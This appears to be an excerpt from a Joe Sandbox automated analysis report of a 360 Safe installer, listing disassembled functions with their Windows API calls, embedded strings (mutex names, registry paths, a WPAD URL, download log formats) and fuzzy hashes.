Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: _memset$Value$_strncat
String ID: Software\360Safe\Liveup$mid$mid_old
API String ID: 2533611499-1528303271
Opcode ID: 5f466edea0a015b95ff9d7f65f2309c3bea37534de5d6aa920ef2aa9685ad0cd
Instruction ID: 5a7bd90926b237d62cec2ba4ff88848cf1c8a945ac2f71be2ff9413592d13133
Opcode Fuzzy Hash: 5f466edea0a015b95ff9d7f65f2309c3bea37534de5d6aa920ef2aa9685ad0cd
Instruction Fuzzy Hash: 464129316087C26BE721CB25DC99FFB77D9AF95700F04450DEAD987181EB719608C792

Function 001CA6F2 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 001CA71F
_memset.LIBCMT ref: 001CA72D
GetTempPathW.KERNEL32(00000400,?,?,00000000,000000CE,DLL,00000014,0017BCDE), ref: 001CA741
_memset.LIBCMT ref: 001CA754

Part of subcall function 001A12A8: _memset.LIBCMT ref: 001A12EC
Part of subcall function 001A12A8: CoCreateGuid.OLE32(?,?,?,00000800), ref: 001A12F8
Part of subcall function 001A12A8: _memset.LIBCMT ref: 001A1309
Part of subcall function 001A12A8: _wcsncpy.LIBCMT ref: 001A135F

PathCombineW.SHLWAPI(?,?,?), ref: 001CA784
_wcscat.LIBCMT ref: 001CA796
PathFileExistsW.SHLWAPI(?), ref: 001CA7A4

Strings

.tmp, xrefs: 001CA790

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: _memset$Path$CombineCreateExistsFileGuidTemp_wcscat_wcsncpy
String ID: .tmp
API String ID: 2935203105-2986845003
Opcode ID: 7f8d7dd592a61377ecd5db3e3ff6a443034fffcd2f0251042148bd9c9b31cd46
Instruction ID: df2d8d0d41282f449cc948f9450323b65ceed6ed6bd68ea60e236dce0076a134
Opcode Fuzzy Hash: 7f8d7dd592a61377ecd5db3e3ff6a443034fffcd2f0251042148bd9c9b31cd46
Instruction Fuzzy Hash: 072165B690021C6BDB11DAA5EC85EDE73BCBF68704F0004AAB305D3041EA74EA448B60

Function 5F5204D7 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 65registryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 5F5204FB
GetModuleHandleW.KERNEL32(00000000,?,00000000,?,00000001), ref: 5F520528
RegisterClassExW.USER32(00000030), ref: 5F52054C
GetModuleHandleW.KERNEL32(00000000,00000000,?,00000000,?,00000001), ref: 5F520554
CreateWindowExW.USER32(00000000,360AsyncHelper,360AsyncHelper,00000000,00000000,00000000,00000000,00000000,000000FD,00000000,00000000), ref: 5F520566
SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 5F520573

Strings

0, xrefs: 5F520511
360AsyncHelper, xrefs: 5F520534, 5F520563, 5F520564

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: HandleModuleWindow$ClassCreateLongRegister_memset
String ID: 0$360AsyncHelper
API String ID: 845610114-1673954876
Opcode ID: d80f4bfd89ac13fde55d367b36ec0ffb81687dfdb26f14b1c4be5a9a9cbbe4f6
Instruction ID: ee10d6cabf475a3ce7a2cf0cefbe2ecf12078b35d9b43c26be2e883effc7ee4d
Opcode Fuzzy Hash: d80f4bfd89ac13fde55d367b36ec0ffb81687dfdb26f14b1c4be5a9a9cbbe4f6
Instruction Fuzzy Hash: 2C11C3B1C01218ABDB109F9AC9889AFFEFCEF99621B10461FF069E3250D7B455058BA1

Function 001CBD58 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 40synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexW.KERNEL32(00000000,00000001,Q360SafeInstallerMutex,Q360InstallerMainWnd,0024BCC8,?,0017BA36,Q360InstallerMainWnd,360Installer.exe,?), ref: 001CBD68
GetLastError.KERNEL32 ref: 001CBD75
CloseHandle.KERNEL32(?), ref: 001CBD85
FindWindowW.USER32(Q360InstallerMainWnd,00000000), ref: 001CBD92
EnterCriticalSection.KERNEL32(0024BCE4,00000000), ref: 001CBDA7
LeaveCriticalSection.KERNEL32(0024BCE4,?), ref: 001CBDBA

Strings

Q360SafeInstallerMutex, xrefs: 001CBD5D
Q360InstallerMainWnd, xrefs: 001CBD5C, 001CBD8D

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: CriticalSection$CloseCreateEnterErrorFindHandleLastLeaveMutexWindow
String ID: Q360InstallerMainWnd$Q360SafeInstallerMutex
API String ID: 3748036984-533925698
Opcode ID: bbadd2051c31261a1eb7b141208d865f2ae6a2e980f7741d65aade1b808fe82a
Instruction ID: a9292d0a772bbcf81b9a496d3579e99e260ad3b9b346da8bab9593c176205d4a
Opcode Fuzzy Hash: bbadd2051c31261a1eb7b141208d865f2ae6a2e980f7741d65aade1b808fe82a
Instruction Fuzzy Hash: C1F06D32100204ABDB20ABA0EC4AFEE7768EB65714F014468E813E2190EB7099008661

Function 5F51FF7E Relevance: 13.8, APIs: 9, Instructions: 287networkCOMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 5F51FFAB
WSAGetLastError.WS2_32(4004667F,?), ref: 5F520063
WSAGetLastError.WS2_32(4004667F,?), ref: 5F52009F
DefWindowProcW.USER32(?,?,?,?), ref: 5F52028A

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: ErrorLastWindow$LongProc
String ID:
API String ID: 2699195558-0
Opcode ID: 1c688cdf6d9af7826e7141126a14ad53543929d9e7d291c3f00f70d6974f0bb3
Instruction ID: af423253a6afb38dc354587af43c1962506c8ffa1164745be561760d80c4db0d
Opcode Fuzzy Hash: 1c688cdf6d9af7826e7141126a14ad53543929d9e7d291c3f00f70d6974f0bb3
Instruction Fuzzy Hash: 96A1F4F16072059FE7049B64C988EAEBBE5AF44324F104B3AE856DB1C6D774F941CB90

Function 5F508BCB Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 219networkCOMMON

Download Yara Rule

APIs

WSAGetLastError.WS2_32(?,?,?,?,?), ref: 5F508E00
GetTickCount.KERNEL32 ref: 5F508E5B
GetTickCount.KERNEL32 ref: 5F508E63
GetTickCount.KERNEL32 ref: 5F508E6B

Part of subcall function 5F513F7C: _memset.LIBCMT ref: 5F513FAF
Part of subcall function 5F513F7C: wvnsprintfW.SHLWAPI(?,000003FF,?,?), ref: 5F513FCA

Strings

[%d.%3d] OnClose_Receive Date tail_len = %d, xrefs: 5F508CA8
[%d.%3d] OnClose HttpBlock RangeFrom = %I64u BodyDownload = %I64u, xrefs: 5F508D69
[%d.%3d] %s(%s) closed, error code %d, api %d, state %d, downloaded %I64d, %d ms, xrefs: 5F508E1B

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: CountTick$ErrorLast_memsetwvnsprintf
String ID: [%d.%3d] OnClose HttpBlock RangeFrom = %I64u BodyDownload = %I64u$[%d.%3d] OnClose_Receive Date tail_len = %d$[%d.%3d] %s(%s) closed, error code %d, api %d, state %d, downloaded %I64d, %d ms
API String ID: 1507222378-1900711150
Opcode ID: f6491a6aa50ae4ae7d9b58522ec67ae0d43ea35a837fc9a8ce7f4efd8f83eaba
Instruction ID: b5938ad61f08a90acb78a9b58cd7dd002b6da77331bd378dba31efb9a2683169
Opcode Fuzzy Hash: f6491a6aa50ae4ae7d9b58522ec67ae0d43ea35a837fc9a8ce7f4efd8f83eaba
Instruction Fuzzy Hash: 3B911CB2500B04AFD725EBA4C994FEBB7EAFF58311F04492DE66A97251DB30B504CB50

Function 001E2420 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 114fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00172750: _vswprintf_s.LIBCMT ref: 00172783

CreateFileA.KERNEL32(?,C0000000,00000003,00000000,00000003,00000000,00000000,?,0024CDA4,?,?), ref: 001E2492
_memset.LIBCMT ref: 001E24BF
_strncpy.LIBCMT ref: 001E24FB
DeviceIoControl.KERNEL32 ref: 001E2531
CloseHandle.KERNEL32(00000000), ref: 001E259B

Strings

\\.\Scsi%d:, xrefs: 001E2461
SCSIDISK, xrefs: 001E24CD

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle_memset_strncpy_vswprintf_s
String ID: SCSIDISK$\\.\Scsi%d:
API String ID: 170396225-2176293039
Opcode ID: 0f4c09ea51eb89c3ce1a3b66261475e2dd2ef8ce7a77483d70c1db2884686c3e
Instruction ID: cf450fbda6ff2110002ded1e7077d761a620e449a7efad619fa2086dd7b40c27
Opcode Fuzzy Hash: 0f4c09ea51eb89c3ce1a3b66261475e2dd2ef8ce7a77483d70c1db2884686c3e
Instruction Fuzzy Hash: 43419BB0608380AAE330DB14AC96BAFB3E8EB98704F00091DF699961C1D7B5A508CB57

Function 001D0877 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 101fileCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 001D0896

Part of subcall function 001CA6F2: _memset.LIBCMT ref: 001CA71F
Part of subcall function 001CA6F2: _memset.LIBCMT ref: 001CA72D
Part of subcall function 001CA6F2: GetTempPathW.KERNEL32(00000400,?,?,00000000,000000CE,DLL,00000014,0017BCDE), ref: 001CA741
Part of subcall function 001CA6F2: _memset.LIBCMT ref: 001CA754
Part of subcall function 001CA6F2: PathCombineW.SHLWAPI(?,?,?), ref: 001CA784
Part of subcall function 001CA6F2: _wcscat.LIBCMT ref: 001CA796
Part of subcall function 001CA6F2: PathFileExistsW.SHLWAPI(?), ref: 001CA7A4

DeleteFileW.KERNEL32(?,00000010), ref: 001D0903
_memset.LIBCMT ref: 001D092F
GetTempPathW.KERNEL32(00000400,00000000,?,?,?), ref: 001D0940

Part of subcall function 001D0691: __EH_prolog3.LIBCMT ref: 001D06B0
Part of subcall function 001D0691: PathFileExistsW.SHLWAPI(?,00000010), ref: 001D06CC
Part of subcall function 001D0691: _memset.LIBCMT ref: 001D070A
Part of subcall function 001D0691: _memset.LIBCMT ref: 001D07B9

SHCreateDirectory.SHELL32(00000000,?,?,{A44B7723-4283-41b8-B9C0-6B1983C61382}.tmp,00000000,?,?,?), ref: 001D096E

Part of subcall function 001D0426: SetupIterateCabinetW.SETUPAPI(00000000,00000000,001D0376,00000000), ref: 001D0454

DeleteFileW.KERNEL32(?,?,?,?,?), ref: 001D09A7

Strings

{A44B7723-4283-41b8-B9C0-6B1983C61382}.tmp, xrefs: 001D0952

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: _memset$Path$File$DeleteExistsH_prolog3Temp$CabinetCombineCreateDirectoryIterateSetup_wcscat
String ID: {A44B7723-4283-41b8-B9C0-6B1983C61382}.tmp
API String ID: 1438429394-342223665
Opcode ID: 7e3cfc62d4ee837c6954766568aa2f33bdc0ec951f86e51b9213c8b639dbaa1d
Instruction ID: 27aea6c3ab3b964c47a041d27dbe24486d2deb4c93daa36bbe379a41725e608a
Opcode Fuzzy Hash: 7e3cfc62d4ee837c6954766568aa2f33bdc0ec951f86e51b9213c8b639dbaa1d
Instruction Fuzzy Hash: 69316571A101499BDB15EFA4DC92BFEB3B8FF28314F104429E615A7281DF345A05DBA1

Function 5F4F2364 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 78networkCOMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 5F4F2387

Part of subcall function 5F52856A: __FF_MSGBANNER.LIBCMT ref: 5F52858D
Part of subcall function 5F52856A: __NMSG_WRITE.LIBCMT ref: 5F528594
Part of subcall function 5F52856A: RtlAllocateHeap.NTDLL(00000000,-0000000D,00000001,00000000,00000000,?,5F532E8E,00000002,00000001,00000002,?,5F52F8B1,00000018,5F56C4F0,0000000C,5F52F942), ref: 5F5285E1

GetNetworkParams.IPHLPAPI(00000000,?), ref: 5F4F239D
_malloc.LIBCMT ref: 5F4F23B3
GetNetworkParams.IPHLPAPI(00000000,?), ref: 5F4F23C8
_memset.LIBCMT ref: 5F4F23EF
__snwprintf.LIBCMT ref: 5F4F2416

Part of subcall function 5F5289A5: __lock.LIBCMT ref: 5F5289C3
Part of subcall function 5F5289A5: ___sbh_find_block.LIBCMT ref: 5F5289CE
Part of subcall function 5F5289A5: ___sbh_free_block.LIBCMT ref: 5F5289DD
Part of subcall function 5F5289A5: HeapFree.KERNEL32(00000000,00000002,5F56C288,0000000C,5F52F908,00000000,5F56C4F0,0000000C,5F52F942,00000002,00000830,?,5F537C19,00000004,5F56C818,0000000C), ref: 5F528A0D
Part of subcall function 5F5289A5: GetLastError.KERNEL32(?,5F537C19,00000004,5F56C818,0000000C,5F532ED8,00000002,0000083F,00000000,00000000,00000000,?,5F52F137,00000001,00000214), ref: 5F528A1E

Strings

http://wpad.%s/wpad.dat, xrefs: 5F4F240D

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: HeapNetworkParams_malloc$AllocateErrorFreeLast___sbh_find_block___sbh_free_block__lock__snwprintf_memset
String ID: http://wpad.%s/wpad.dat
API String ID: 2241623331-1081111291
Opcode ID: aae60984f6fa61a7426b09aa604384d0a3d07811d878356679b2bef7a9258a0e
Instruction ID: 2ce8d0f0e409aefede39f54a3a1437b2aa0506a8feaf1898b260bcfddaa921c8
Opcode Fuzzy Hash: aae60984f6fa61a7426b09aa604384d0a3d07811d878356679b2bef7a9258a0e
Instruction Fuzzy Hash: 5C21F9B19022586BD706D6E48C40EEF73EDEF89611F1041BBE50CD7281DA74AAC547A5

Function 001A71E2 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 61COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 001A7216
SHGetValueW.SHLWAPI(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\360safe.exe,Path,?,?,?,?,?,0024CDA4), ref: 001A7239
PathCombineW.SHLWAPI(?,?,360safe.exe,?,?,?,0024CDA4), ref: 001A7269
PathFileExistsW.SHLWAPI(?,?,?,0024CDA4), ref: 001A7273

Strings

SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\360safe.exe, xrefs: 001A722F
Path, xrefs: 001A722A
360safe.exe, xrefs: 001A725D

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: Path$CombineExistsFileValue_memset
String ID: 360safe.exe$Path$SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\360safe.exe
API String ID: 1538502309-1025180333
Opcode ID: b14b54ac6064d616fb0754e8024bcbefebade92358e37fd17f82250d71018e95
Instruction ID: ae621534de97b4baf5a0f574b9bbfa77ce7dca45ba8d9d4c310db4460ce0e6f3
Opcode Fuzzy Hash: b14b54ac6064d616fb0754e8024bcbefebade92358e37fd17f82250d71018e95
Instruction Fuzzy Hash: D3111A71D0411C9BDB21EBE5ED49BEEB7B8AB19704F20412AF911E3182DB715648CB90

Function 5F4DA365 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 52threadCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 5F4DA36C
GetCurrentThreadId.KERNEL32 ref: 5F4DA376

Part of subcall function 5F4EAE3C: KiUserExceptionDispatcher.NTDLL(406D1388,00000000,00000004,00001000,5F568AA8,00000018,5F51E73E,00000000), ref: 5F4EAE6F

Part of subcall function 5F4D802B: WaitForSingleObject.KERNEL32(?,000000FF), ref: 5F4D8033

GetTickCount.KERNEL32 ref: 5F4DA3A9
GetTickCount.KERNEL32 ref: 5F4DA3B3

Part of subcall function 5F4DA0F5: __EH_prolog3_GS.LIBCMT ref: 5F4DA0FC

GetTickCount.KERNEL32 ref: 5F4DA3C3

Part of subcall function 5F513FED: _memset.LIBCMT ref: 5F514020
Part of subcall function 5F513FED: wvnsprintfW.SHLWAPI(?,000003FF,?,00007148), ref: 5F51403B

Strings

p2sp.Disk, xrefs: 5F4DA371
[DiskScheduler] type:%d, taskid:%d, cost:%dms, queue:%d., xrefs: 5F4DA3DC

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: CountTick$CurrentDispatcherExceptionH_prolog3H_prolog3_ObjectSingleThreadUserWait_memsetwvnsprintf
String ID: [DiskScheduler] type:%d, taskid:%d, cost:%dms, queue:%d.$p2sp.Disk
API String ID: 1914228569-2306218905
Opcode ID: ab6af2c27dc664bcf64dfed8af242824fcade74440fa05d2770729840e92a652
Instruction ID: 4497b9e87601af8285eb6515bd1b472c3f8ed370187354062b781c4fd9364526
Opcode Fuzzy Hash: ab6af2c27dc664bcf64dfed8af242824fcade74440fa05d2770729840e92a652
Instruction Fuzzy Hash: 741151B2D11209AFDB00DBE8C954BEEB7B5AF48321F14452AF115E7181C774E6548BA1

Function 001B639A Relevance: 12.2, APIs: 8, Instructions: 150windowCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 001B63B9
GetDlgItem.USER32(?,000003EE), ref: 001B63D8
_memset.LIBCMT ref: 001B63F9
GetWindowTextW.USER32(?,00000000,000003FF), ref: 001B640D
IsWindowVisible.USER32(?), ref: 001B6434
SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 001B6449
GetFocus.USER32 ref: 001B6488
SetFocus.USER32(?), ref: 001B64A2

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: FocusWindow$H_prolog3ItemMessageSendTextVisible_memset
String ID:
API String ID: 1096848440-0
Opcode ID: 196d3faee75bc7531dbd78b0a11eeadae58ec8bc6bfc354182befb10a5cb14af
Instruction ID: f5dcf85c22f5723fe5471dfe5163c203cb2ee6a807a18ed24bdfa8064edea089
Opcode Fuzzy Hash: 196d3faee75bc7531dbd78b0a11eeadae58ec8bc6bfc354182befb10a5cb14af
Instruction Fuzzy Hash: 4C51BE75900609AFDB20EBA0DC46BFEB7B9BF20304F104528E516A61D1EF746A14CB61

Function 5F52ABF1 Relevance: 12.0, APIs: 8, Instructions: 42threadCOMMON

Download Yara Rule

APIs

___set_flsgetvalue.LIBCMT ref: 5F52ABF7

Part of subcall function 5F52EF97: TlsGetValue.KERNEL32(?,5F52F123,?,5F52E348,00000042,0000083F,00000002,00000000), ref: 5F52EFA0
Part of subcall function 5F52EF97: __decode_pointer.LIBCMT ref: 5F52EFB2
Part of subcall function 5F52EF97: TlsSetValue.KERNEL32(00000000,5F52E348,00000042,0000083F,00000002,00000000), ref: 5F52EFC1

___fls_getvalue@4.LIBCMT ref: 5F52AC02

Part of subcall function 5F52EF77: TlsGetValue.KERNEL32(?,?,5F52AC07,00000000), ref: 5F52EF85

___fls_setvalue@8.LIBCMT ref: 5F52AC15

Part of subcall function 5F52EFCB: __decode_pointer.LIBCMT ref: 5F52EFDC

GetLastError.KERNEL32(00000000,?,00000000), ref: 5F52AC1E
ExitThread.KERNEL32 ref: 5F52AC25
GetCurrentThreadId.KERNEL32 ref: 5F52AC2B
__freefls@4.LIBCMT ref: 5F52AC4B
__IsNonwritableInCurrentImage.LIBCMT ref: 5F52AC5E

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: Value$CurrentThread__decode_pointer$ErrorExitImageLastNonwritable___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4
String ID:
API String ID: 1925773019-0
Opcode ID: 4e5a6547060cde2eadd44e823e7951f28015ec688d981571254a98694d2fc301
